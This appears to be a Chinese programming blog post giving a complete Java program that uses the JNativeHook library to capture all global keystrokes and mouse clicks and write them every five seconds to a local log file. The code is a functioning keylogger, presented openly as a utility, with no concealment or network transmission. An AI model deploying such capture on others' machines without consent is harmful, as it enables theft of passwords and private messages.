java代码 监听鼠标键盘输入生成日志 重复执行日志

package com.example.demo.test;

import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import java.util.Timer;
import java.util.TimerTask;

import org.jnativehook.GlobalScreen;
import org.jnativehook.NativeHookException;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
import org.jnativehook.mouse.NativeMouseEvent;
import org.jnativehook.mouse.NativeMouseListener;

public class InputLogger implements NativeKeyListener, NativeMouseListener {
    private static StringBuilder logBuilder = new StringBuilder();
    private static Timer timer = new Timer();

    public static void main(String[] args) throws NativeHookException, IOException {
        // 初始化日志文件
        File logFile = new File("input.log");
        if (!logFile.exists()) {
            logFile.createNewFile();
        }

        // 注册鼠标和键盘事件
        GlobalScreen.registerNativeHook();

        // 添加监听器
        InputLogger inputLogger = new InputLogger();
        GlobalScreen.addNativeKeyListener(inputLogger);
        GlobalScreen.addNativeMouseListener(inputLogger);

        // 创建定时任务
        TimerTask task = new TimerTask() {
            @Override
            public void run() {
                try {
                    // 获取当前时间
                    LocalDateTime now = LocalDateTime.now();

                    // 使用ISO标准格式化时间
                    DateTimeFormatter formatter = DateTimeFormatter.ISO_DATE_TIME;
                    String timestamp = now.format(formatter);

                    // 将日志写入文件
                    FileWriter writer = new FileWriter(logFile, true);
                    writer.write("====== " + timestamp + " ======\n");
                    writer.write(logBuilder.toString());
                    writer.flush();
                    writer.close();

                    // 清空日志
                    logBuilder.setLength(0);
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        };

        // 开始定时任务,每5秒记录一次日志
        timer.scheduleAtFixedRate(task, 0, 5000);
    }

    /**
     * 键盘按下事件
     */
    @Override
    public void nativeKeyPressed(NativeKeyEvent event) {
        String log = "Key Pressed: " + NativeKeyEvent.getKeyText(event.getKeyCode()) + "\n";
        logBuilder.append(log);
    }

    /**
     * 键盘释放事件
     */
    @Override
    public void nativeKeyReleased(NativeKeyEvent event) {
        String log = "Key Released: " + NativeKeyEvent.getKeyText(event.getKeyCode()) + "\n";
        logBuilder.append(log);
    }

    /**
     * 键盘输入事件(这个方法是必须实现的抽象方法,但是我们不需要它)
     */
    @Override
    public void nativeKeyTyped(NativeKeyEvent event) {
        // do nothing
    }

    /**
     * 鼠标单击事件
     */
    @Override
    public void nativeMouseClicked(NativeMouseEvent event) {
        String log = "Mouse Clicked: " + event.getX() + "," + event.getY() + "\n";
        logBuilder.append(log);
    }

    /**
     * 鼠标按下事件
     */
    @Override
    public void nativeMousePressed(NativeMouseEvent event) {
        String log = "Mouse Pressed: " + event.getX() + "," + event.getY() + "\n";
        logBuilder.append(log);
    }

    /**
     * 鼠标释放事件
     */
    @Override
    public void nativeMouseReleased(NativeMouseEvent event) {
        String log = "Mouse Released: " + event.getX() + "," + event.getY() + "\n";
        logBuilder.append(log);
    }
}

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值